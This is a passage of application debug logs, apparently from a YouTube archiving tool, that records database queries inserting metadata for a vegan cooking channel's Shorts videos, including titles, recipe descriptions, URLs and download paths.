Jiggle It Flops 🧀 😂#shorts #youtubeshorts", 1, 15, false, "xGJyLzNGmco", "https://www.youtube.com/shorts/xGJyLzNGmco", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts/My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts [xGJyLzNGmco].NA", true, ~U[2022-08-17 20:05:00Z]] 20:31:10.257 [debug] QUERY OK source="sources" db=0.8ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.259 [debug] QUERY OK source="media_items" db=1.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 15:12:32Z], 1] 20:31:10.260 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Grilled cheese ASMR 'cause apparently that's what the cool kids do now 🤷🏼\u200D♀️ Watch my latest video HOW TO MAKE THE BEST VEGAN GRILLED CHEESE: https://youtu.be/Vq3ixlF4ZHw", "Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts", "9b389648-925b-48b6-a903-7a7c4b84ee37", 1, [], 14, false, "9zqvfa4xfqI", "https://www.youtube.com/shorts/9zqvfa4xfqI", 262, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts/Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts [9zqvfa4xfqI].NA", false, false, true, 3, ~U[2022-08-17 15:12:32Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Grilled cheese ASMR 'cause apparently that's what the cool kids do now 🤷🏼\u200D♀️ Watch my latest video HOW TO MAKE THE BEST VEGAN GRILLED CHEESE: https://youtu.be/Vq3ixlF4ZHw", "Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts", 1, 14, false, "9zqvfa4xfqI", "https://www.youtube.com/shorts/9zqvfa4xfqI", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts/Grilled cheese ASMR 🧀🥪 (cause that’s what the cool kids do these days) #youtubeshorts #shorts [9zqvfa4xfqI].NA", true, ~U[2022-08-17 15:12:32Z]] 20:31:10.262 [debug] QUERY OK source="sources" db=1.1ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.264 [debug] QUERY OK source="media_items" db=2.3ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 23:30:04Z], 1] 20:31:10.266 [debug] QUERY OK source="media_items" db=1.0ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we're taste testing the best vegan cheeses on the market and showing you the good, the bad and the ugly of our reactions. If you like or even hate vegan cheese and enjoy reaction videos or taste test videos then you'll love this one. Full video link below...\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nThanks for watching and if you enjoy vegan or gluten free food recipes, taste tests, and reviews then you'll want to subscribe to the channel as we post at least twice per week! Thanks for your support!", "Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts", "106f1bb4-9ce0-4dbb-bb9a-5f3245fa3e5c", 1, [], 15, false, "hesq_aZQHdA", "https://www.youtube.com/shorts/hesq_aZQHdA", 263, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts/Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts [hesq_aZQHdA].NA", false, false, true, 4, ~U[2022-08-16 23:30:04Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This week on the channel we're taste testing the best vegan cheeses on the market and showing you the good, the bad and the ugly of our reactions. If you like or even hate vegan cheese and enjoy reaction videos or taste test videos then you'll love this one. Full video link below...\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nThanks for watching and if you enjoy vegan or gluten free food recipes, taste tests, and reviews then you'll want to subscribe to the channel as we post at least twice per week! Thanks for your support!", "Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts", 1, 15, false, "hesq_aZQHdA", "https://www.youtube.com/shorts/hesq_aZQHdA", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts/Vegan Cheese That Tastes Like Play-Doh 🤢 🤮 reaction video #shorts #youtubeshorts [hesq_aZQHdA].NA", true, ~U[2022-08-16 23:30:04Z]] 20:31:10.267 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.270 [debug] QUERY OK source="media_items" db=2.1ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 20:45:00Z], 1] 20:31:10.272 [debug] QUERY OK source="media_items" db=1.4ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our reactions in our full taste test and review video of the best vegan cheeses, live on the channel. We had a ton of fun and laughs coming up with all kinds of cheesy lines while we reviewed these vegan cheeses. Hope you enjoy the full video below...\n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw", "Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts", "0d09e60e-5d2f-4e29-a0e6-49c065c7fff3", 1, [], 15, false, "_kM80bDso5Q", "https://www.youtube.com/shorts/_kM80bDso5Q", 264, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts/Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts [_kM80bDso5Q].NA", false, false, true, 4, ~U[2022-08-16 20:45:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out our reactions in our full taste test and review video of the best vegan cheeses, live on the channel. We had a ton of fun and laughs coming up with all kinds of cheesy lines while we reviewed these vegan cheeses. Hope you enjoy the full video below...\n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw", "Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts", 1, 15, false, "_kM80bDso5Q", "https://www.youtube.com/shorts/_kM80bDso5Q", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts/Vegan Cheese That Tastes Like Dusty Old Books 🤢 🤮 taste test #shorts #youtubeshorts [_kM80bDso5Q].NA", true, ~U[2022-08-16 20:45:00Z]] 20:31:10.273 [debug] QUERY OK source="sources" db=0.6ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.275 [debug] QUERY OK source="media_items" db=1.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-16 17:15:00Z], 1] 20:31:10.276 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We just posted an in-depth review and taste test of the best vegan cheeses out there and had all kinds of cheesy fun. Here are just a few of the cheesy jokes that didn't make the main vegan cheese review video.\n\nFull Review VIdeo Here: https://youtu.be/lgPeexeqpJw\n\nIf you enjoy vegan and gf food recipes and review or taste test videos then you'll want to hit that subscribe button! Thanks for your support!", "The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts", "85692e1a-8898-4594-9a71-0fa5f7cf0e07", 1, [], 39, false, "-rHRT4s4XPA", "https://www.youtube.com/shorts/-rHRT4s4XPA", 265, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts [-rHRT4s4XPA].NA", false, false, true, 4, ~U[2022-08-16 17:15:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We just posted an in-depth review and taste test of the best vegan cheeses out there and had all kinds of cheesy fun. Here are just a few of the cheesy jokes that didn't make the main vegan cheese review video.\n\nFull Review VIdeo Here: https://youtu.be/lgPeexeqpJw\n\nIf you enjoy vegan and gf food recipes and review or taste test videos then you'll want to hit that subscribe button! Thanks for your support!", "The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts", 1, 39, false, "-rHRT4s4XPA", "https://www.youtube.com/shorts/-rHRT4s4XPA", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Jokes 🧀😂#shorts #youtubeshorts [-rHRT4s4XPA].NA", true, ~U[2022-08-16 17:15:00Z]] 20:31:10.277 [debug] QUERY OK source="sources" db=0.4ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.279 [debug] QUERY OK source="media_items" db=2.3ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-13 17:18:49Z], 1] 20:31:10.284 [debug] QUERY OK source="media_items" db=2.8ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["CHOCOLATE +!🍨 PEANUT BUTTER NICE CREAM! 🍫🍦🥜 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a chocolate and peanut butter lover, you're going to LOVE this recipe. I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1/4 cup nondairy milk — 1 tbsp maple syrup 🍁 to sweeten — 2 to 3 tbsp cocoa powder — 2 tbsp peanut butter — Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!", "32a3610d-4ada-4176-8e2f-d72fc0ed0287", 1, [], 15, false, "vz3hA5XS00w", "https://www.youtube.com/shorts/vz3hA5XS00w", 266, "/downloads/downloads/alec/Steamy Vegan/2022-08-13 EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!/EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients! [vz3hA5XS00w].NA", false, false, true, 1, ~U[2022-08-13 17:18:49Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "CHOCOLATE +!🍨 PEANUT BUTTER NICE CREAM! 🍫🍦🥜 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a chocolate and peanut butter lover, you're going to LOVE this recipe. I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1/4 cup nondairy milk — 1 tbsp maple syrup 🍁 to sweeten — 2 to 3 tbsp cocoa powder — 2 tbsp peanut butter — Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!", 1, 15, false, "vz3hA5XS00w", "https://www.youtube.com/shorts/vz3hA5XS00w", "/downloads/downloads/alec/Steamy Vegan/2022-08-13 EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients!/EASY Chocolate Peanut Butter ‘Nice Cream’! 🍦🍫🥜 Healthy, Vegan, Only 5 Ingredients! [vz3hA5XS00w].NA", true, ~U[2022-08-13 17:18:49Z]] 20:31:10.284 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.287 [debug] QUERY OK source="media_items" db=2.1ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-12 15:50:03Z], 1] 20:31:10.289 [debug] QUERY OK source="media_items" db=1.5ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["PIÑA COLADA BANANA NICE CREAM!🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a fruity desserts lover who is aaaaalll about the tropical summer vibes, then you'll definitely want to make this dessert! I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1 cup frozen pineapple 🍍 — splash of coconut milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!", "5721989d-664b-4630-9012-6e8911ea49f8", 1, [], 15, false, "c1m45pxs2GQ", "https://www.youtube.com/shorts/c1m45pxs2GQ", 267, "/downloads/downloads/alec/Steamy Vegan/2022-08-12 EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!/EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients! [c1m45pxs2GQ].NA", false, false, true, 2, ~U[2022-08-12 15:50:03Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "PIÑA COLADA BANANA NICE CREAM!🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIf you're a fruity desserts lover who is aaaaalll about the tropical summer vibes, then you'll definitely want to make this dessert! I love making ‘nice cream’ on hot summer days ☀️ \nAll you need is:\n3 frozen bananas 🍌 — 1 cup frozen pineapple 🍍 — splash of coconut milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!", 1, 15, false, "c1m45pxs2GQ", "https://www.youtube.com/shorts/c1m45pxs2GQ", "/downloads/downloads/alec/Steamy Vegan/2022-08-12 EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients!/EASY Piña Colada Banana Nice Cream Recipe! 🍍🥥🍌 Vegan and only 4 ingredients! [c1m45pxs2GQ].NA", true, ~U[2022-08-12 15:50:03Z]] 20:31:10.289 [debug] QUERY OK source="sources" db=0.5ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.291 [debug] QUERY OK source="media_items" db=1.5ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-12 01:45:31Z], 1] 20:31:10.293 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["BLUEBERRY NICE CREAM 🫐 🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIn case you missed it, it’s still blueberry season! 💙 So if you haven’t stocked up yet before they’re gone, go get some fresh blueberries! I love making ‘nice cream’ on hot summer days ☀️ All you need is:\n3 frozen bananas 🍌 — 1 cup frozen blueberries 🫐 — splash of nondairy milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts", "367b26fe-ded6-43ea-a1d7-1799869659af", 1, [], 15, false, "BkIHrCH-cCc", "https://www.youtube.com/shorts/BkIHrCH-cCc", 268, "/downloads/downloads/alec/Steamy Vegan/2022-08-12 Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts/Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts [BkIHrCH-cCc].NA", false, false, true, 2, ~U[2022-08-12 01:45:31Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "BLUEBERRY NICE CREAM 🫐 🍨 by @steamyvegankitchen Easy, delicious and HEALTHY! 🌱\n\nIn case you missed it, it’s still blueberry season! 💙 So if you haven’t stocked up yet before they’re gone, go get some fresh blueberries! I love making ‘nice cream’ on hot summer days ☀️ All you need is:\n3 frozen bananas 🍌 — 1 cup frozen blueberries 🫐 — splash of nondairy milk — maple syrup 🍁 to sweeten! Add all the ingredients to a high-speed blender, and blend slowly with a tamper until it’s smooth like soft-serve. ENJOY and SAVE THIS FOR LATER! ✔️ \n\nI have a full-length YouTube video that dropped TODAY on the channel on how to make 3 flavours of BANANA NICE CREAM! Check it ✅ here: \nhttps://youtu.be/NG-i9_B_rmM", "Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts", 1, 15, false, "BkIHrCH-cCc", "https://www.youtube.com/shorts/BkIHrCH-cCc", "/downloads/downloads/alec/Steamy Vegan/2022-08-12 Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts/Easy and Healthy Blueberry ‘Ice Cream’ Recipe! 🫐🍨 Vegan and only 4 ingredients 🌱#youtubeshorts [BkIHrCH-cCc].NA", true, ~U[2022-08-12 01:45:31Z]] 20:31:10.293 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.296 [debug] QUERY OK source="media_items" db=2.0ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-11 01:26:30Z], 1] 20:31:10.297 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's hot out there so we decided to make some cold vegan, non dairy banana nice cream. Stay tuned for all three vegan ice cream recipes which are launching Thursday on the channel!\n\nCheck out our vegan ice cream review video from last week here: https://youtu.be/rU4cirfns1Q", "Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts", "217d4fed-b7f2-4595-8b70-d04ff4be8bab", 1, [], 11, false, "f8-chAd74xc", "https://www.youtube.com/shorts/f8-chAd74xc", 269, "/downloads/downloads/alec/Steamy Vegan/2022-08-11 Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts/Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts [f8-chAd74xc].NA", false, false, true, 2, ~U[2022-08-11 01:26:30Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "It's hot out there so we decided to make some cold vegan, non dairy banana nice cream. Stay tuned for all three vegan ice cream recipes which are launching Thursday on the channel!\n\nCheck out our vegan ice cream review video from last week here: https://youtu.be/rU4cirfns1Q", "Cool your 💩 with some vegan banana nice cream! 🥶 #shorts #youtubeshorts", 1, 11, false, "f8-chAd74xc", "https://www.youtube.com/shorts/f8-chAd74xc", "/downloads/downloads/alec/Steamy Vegan/2022-08-11 Cool your 